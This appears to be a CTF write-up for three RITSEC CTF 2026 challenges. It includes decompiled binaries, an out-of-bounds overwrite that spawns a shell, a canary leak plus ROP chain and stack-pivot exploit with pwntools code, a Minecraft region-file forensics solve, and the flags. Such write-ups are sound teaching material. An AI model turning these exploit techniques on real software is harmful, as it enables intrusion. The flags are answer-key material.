# RITSEC CTF 2026
=))

---
## Bake a PI

### Pseudo Code
- I decompiled this binary file by using IDA PRO and inspected the functions
```c=
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // ebx
char option; // [rsp+Fh] [rbp-21h] BYREF
unsigned int v5; // [rsp+10h] [rbp-20h] BYREF
unsigned int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]
v7 = __readfsqword(0x28u);
puts("I want to create the perfect pi recipe, but can't quite get it right...");
puts("Can you help me bake the perfect pi?");
putchar(10);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("------------------------------------------------------------");
printf("(S)how recipe, (C)change ingredient, (T)aste test: ");
__isoc99_scanf("%c%*c", &option);
if ( option != 'T' )
break;
if ( *(double *)&pi == 3.141592653589793 )
{
puts("Yummy! This is the perfect pi!");
execl("/bin/bash", "/bin/bash", 0);
}
else
{
puts("Still doesn't taste right. Let's try a different recipe.");
}
}
if ( option <= 'T' )
break;
LABEL_16:
printf("Unknown option '%c'\n", (unsigned int)option);
}
if ( option == 'C' )
{
printf("Which ingredient would you like to change?: ");
__isoc99_scanf("%u%*c", &v5);
if ( v5 <= 8 )
{
printf("Enter ingredient: ");
fgets(&ingredients[32 * v5], 32, stdin);
v3 = v5;
ingredients[32 * v3 - 1 + strlen(&ingredients[32 * v5])] = 0;
}
else
{
puts("The recipe doesn't have that many ingredients");
}
}
else
{
if ( option != 'S' )
goto LABEL_16;
for ( i = 0; i <= 7; ++i )
printf("%d. %s\n", i, &ingredients[32 * i]);
}
}
}
```
-> The program has only 1 primary function, so we must focus our entire analysis on this function.
### Analysis
- Program flow: The program enters an infinite loop consisting of 3 options: (S)how recipe, (C)change ingredient, and (T)aste test.
+ Show recipe: Listing 8 recipes stored in the global ingredients array -> No bug

+ Change ingredient: we can change the value that stored in the ingredients array

-> We can see that the scanf use the %u format and only checks if the value is <= 8. Since the ingredients array is indexed from 0 to 7, so this results in an out-of-bounds (OOB) vulnerability.
+ Taste test: Check the global variable pi equals to 3,14..., isn't it? If it equals to 3,14..., we get the shell. Otherwise, we are prompted that trying it again

**-> In conclution, our target is to modify or overwrite the global variable pi into 3,14... to get shell and get flag**
### Exploitation
- We have the OOB vuln in 'C' option with index 8 of array 'ingredients' and it's highly probable that we can modify the value of pi using this index.
- We can check this assumption by using gdb

-> Well, correctly
- Now, we just need to use option 'C' to change the value of pi to 3.141592653589793 and then trigger option 'T' to get the shell.
```python
payload = struct.pack("<d", 3.141592653589793)
p.sendlineafter(b"(S)how recipe, (C)change ingredient, (T)aste test: ", b"C")
p.sendlineafter(b"Which ingredient would you like to change?: ", b"8")
p.sendafter(b"Enter ingredient: ", payload + b"\n")
p.sendlineafter(b"(S)how recipe, (C)change ingredient, (T)aste test: ", b"T")
```
- Why are we need to use **struct.pack** to send bytes?
+ In Python, the number 3.141592653589793 is an abstract object. However, C/C++ programs—the typical targets in Pwn challenges—store this value as a direct sequence of binary bytes in RAM, following the IEEE 754 standard.
+ If you send the string "3.141592653589793", the program will interpret it as a character array (string). To "trick" the program or accurately overwrite a floating-point variable in memory, you must send the exact byte format that the computer uses for calculation.
+ struct.pack acts as a "translator" that converts Python data types into raw byte sequences.
- Alright, Let's send this solve script to the server to get the flag

***->Pwned this challenge!***
```Flag: RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}```
### Full Script
[d1nhdwc](https://github.com/d1nhdwc/CTF_competition/blob/main/RITSEC%20CTF%202026/Bake%20a%20Pi/solve.py)
---
## doMonkeysSwim

### Pseudo Code
- Decompiling the binary with IDA and inspecting it
- Cause this binary have so many functions, so I will paste some important functions
-game():
```clike=
unsigned __int64 game()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
print_start();
for ( i = print_menu(); ; i = print_menu() )
{
switch ( i )
{
case 1:
mallic();
break;
case 2:
freee();
break;
case 3:
monkey_see();
break;
case 4:
monkey_do();
break;
case 5:
monkey_swaperoo();
break;
case 6:
return v2 - __readfsqword(0x28u);
default:
puts("\nThe monkeys in the ship don't know what that means?!\n");
break;
}
}
}
```
-mokey_see():
```clike=
unsigned __int64 monkey_see()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v8; // edx
int v9; // ecx
int v10; // r8d
int v11; // r9d
int v12; // edx
int v13; // ecx
int v14; // r8d
int v15; // r9d
int v17; // [rsp+4h] [rbp-2Ch] BYREF
int v18; // [rsp+8h] [rbp-28h]
int v19; // [rsp+Ch] [rbp-24h]
_QWORD v20[3]; // [rsp+10h] [rbp-20h]
unsigned __int64 v21; // [rsp+28h] [rbp-8h]
v21 = __readfsqword(0x28u);
puts("\nTODO: fix later\n");
printf((unsigned int)"%s", (unsigned int)"Monkey see which index number?: ", v0, v1, v2, v3);
if ( (unsigned int)_isoc99_scanf((unsigned int)"%2d", (unsigned int)&v17, v4, v5, v6, v7) == 1 )
{
do
v19 = getchar();
while ( v19 != 10 );
printf((unsigned int)"\nThat monkey holds this: 0x%016lx\n\n", v20[v17], v8, v9, v10, v11);
}
else
{
do
v18 = getchar();
while ( v18 != 10 && v18 != -1 );
printf((unsigned int)"\n%s", (unsigned int)"Invalid index\n\n", v12, v13, v14, v15);
}
fflush(stdin);
fflush(stdout);
return v21 - __readfsqword(0x28u);
}
```
-mokey_do():
```clike=
unsigned __int64 monkey_do()
{
_BYTE v1[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("\nOo oo Aa AA?\n");
fgets(v1, 40, stdin);
puts(&unk_49E3E8);
return v2 - __readfsqword(0x28u);
}
```
-mokey_swapperoo():
```clike=
unsigned __int64 monkey_swaperoo()
{
int v0; // edx
int v1; // ecx
int v2; // r8d
int v3; // r9d
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v8; // edx
int v9; // ecx
int v10; // r8d
int v11; // r9d
char v13; // [rsp+0h] [rbp-A0h] BYREF
_QWORD v14[11]; // [rsp+20h] [rbp-80h] BYREF
_QWORD v15[4]; // [rsp+78h] [rbp-28h]
unsigned __int64 v16; // [rsp+98h] [rbp-8h]
v16 = __readfsqword(0x28u);
j_memset_ifunc(v14, 0, 105);
printf((unsigned int)"\nSwap this: ", 0, v0, v1, v2, v3);
fflush(stdout);
fgets(v14, 105, stdin);
printf((unsigned int)"With this: ", 105, v4, v5, v6, v7);
fflush(stdout);
_isoc99_scanf((unsigned int)"%19s", (unsigned int)&v13, v8, v9, v10, v11);
bed = v14[0];
qword_4CCA68 = v14[1];
qword_4CCA70 = v14[2];
qword_4CCA78 = v14[3];
qword_4CCA80 = v14[4];
qword_4CCA88 = v14[5];
qword_4CCA90 = v14[6];
qword_4CCA98 = v14[7];
qword_4CCAA0 = v14[8];
qword_4CCAA8 = v14[9];
qword_4CCAB0 = v14[10];
qword_4CCAB8 = v15[0];
*(__int64 *)((char *)&qword_4CCAB8 + 1) = *(_QWORD *)((char *)v15 + 1);
qword_4CCAC1 = *(_QWORD *)((char *)&v15[1] + 1);
puts(&unk_49E030);
return v16 - __readfsqword(0x28u);
}
```
### Analysis
- Program Flow: The program enters an infinite loop consisting of 6 options: Monkey new, Monkey kill, Monkey see, Monkey do, Monkey swaperoo, Exit :3
+ Monkey new and Monkey kill have no bug. It's simply enter a name and exit out this function.
+ monkey_see: This function prints the value located at rbp-0x20 + v17. Consequently, we can leak data by using this option (OOB).

+ monkey_do: Certainly, we have Buffer Overflow vuln here.

+ monkey_swaperoo: This function essentially acts as a data "relay station" with a Stack-based Buffer Overflow vulnerability: it allows you to input up to 105 bytes into the `v14` array (which only holds 88 bytes), enabling you to overwrite the `v15` array and adjacent variables on the stack. Subsequently, the program takes this manipulated data and copies it over a series of global variables `bed`, allowing you to modify critical system values to alter the execution flow or gain control of the program.

### Exploitation
#### Leak canary
- Firstly, if we want exploit bof, we must have canary value. So, we have to leak the canary in stack by using option 3.
- 
- The canary locate at rsp-8 -> index at 3
```python!
p.sendlineafter(b">> ", b'3\n3')
p.recvuntil(b"That monkey holds this: ")
canary = int(p.recvline()[:-1], 16)
log.info("canary: " + hex(canary))
```

-> We got the canary
#### Get shell
- Since the program contains sufficient gadgets to construct a ROP chain, we will attempt to return into this ROP chain. With `bed` being a writable address within the binary.
```python!
pop_rax = 0x00401f49
pop_rdi = 0x00401f43
pop_rsi = 0x00401f45
pop_rdx = 0x00401f47
syscall = 0x00401349
bed = 0x4cca60
rop = flat(
b"/bin/sh\0",
b"A"*8,
canary,
0,
pop_rdi, bed,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 0x3b,
syscall
)
rop = rop.ljust(104, b'\0')
```
- Use option 5 to input the ROP chain into `v14`, and for `v15`, input filler `x` characters (not important).
- `monkey_swaperoo()` is not the primary overflow location used to seize control of RIP; rather, it is the function that writes the payload into the fixed global memory variable `bed`.
- This is precisely why you can place a 104-byte fake frame at `bed` containing your ROP chain, then combine it with the `monkey_do` function to perform a stack pivot onto that location.
```python!
p.sendlineafter(b">> ", b'5')
p.sendlineafter(b"Swap this: ", rop)
p.sendlineafter(b"With this: ", b'x')
```
- Finally, we will stack pivot to `bed` address to execute the ROP with option 4 and exit with option 6.
```python!
pl = flat(
b"A"*0x18,
canary,
bed + 8 + 8 + 8
)
pl.ljust(39, b'\0')[:-1]
p.sendlineafter(b">> ", b"4\n" + pl)
p.sendlineafter(b">> ", b'6')
```

- Alright, Let's send this solve script to the server to get the flag

***-> Pwned this challenge***
```Flag: RS{wh3r3_h4s_4ll_th3_rum_g0n3_mr_m0nk3y_m4n?}```
### Full script
[d1nhdwc](https://github.com/d1nhdwc/CTF_competition/blob/main/RITSEC%20CTF%202026/doMonkeysSwim/solve.py)
---
## This Craft is Mine (bonus)

### Overview
- We are provided with a Minecraft World =))
- Copy it into `saves` folder in .minecraft to get into this world

- Join this world in MC


-> A normal world
### Idea
- Minecraft has a mechanic where, as you load chunks, they are saved within the `region` folder.

- For example: when you first enter the world and are at chunk 0 (r.0.0.mca).

- Returning to the challenge folder and sorting by date descending, we can see the chunks that the author loaded when creating the world.
- Observing the author's movement, they were wandering around 0.0, 0.1, 0.-1 before suddenly jumping to 2,2 and 2,3. This was definitely due to a teleport. It is highly suspicious, so we should teleport to 2,2 and 2,3 in turn to investigate.
- We will teleport to chunk A (r.regionX.regionY.mca) using this pattern:
```
tpX = regionX * 512 + 256
tpZ = regionZ * 512 + 256
```
- If the region is r.3.3.mca, the coordinates to teleport to the center of the region are:
- /tp @s 1792 120 1792 and check around to find some special things

- Yeah, here's our flag:))
- white is 0, black is 1
-> the binary code: 0100011000110001010101100011001101100101011011100011010101101001011000110111001100100001

```Flag: RS{F1V3en5ics!}```
---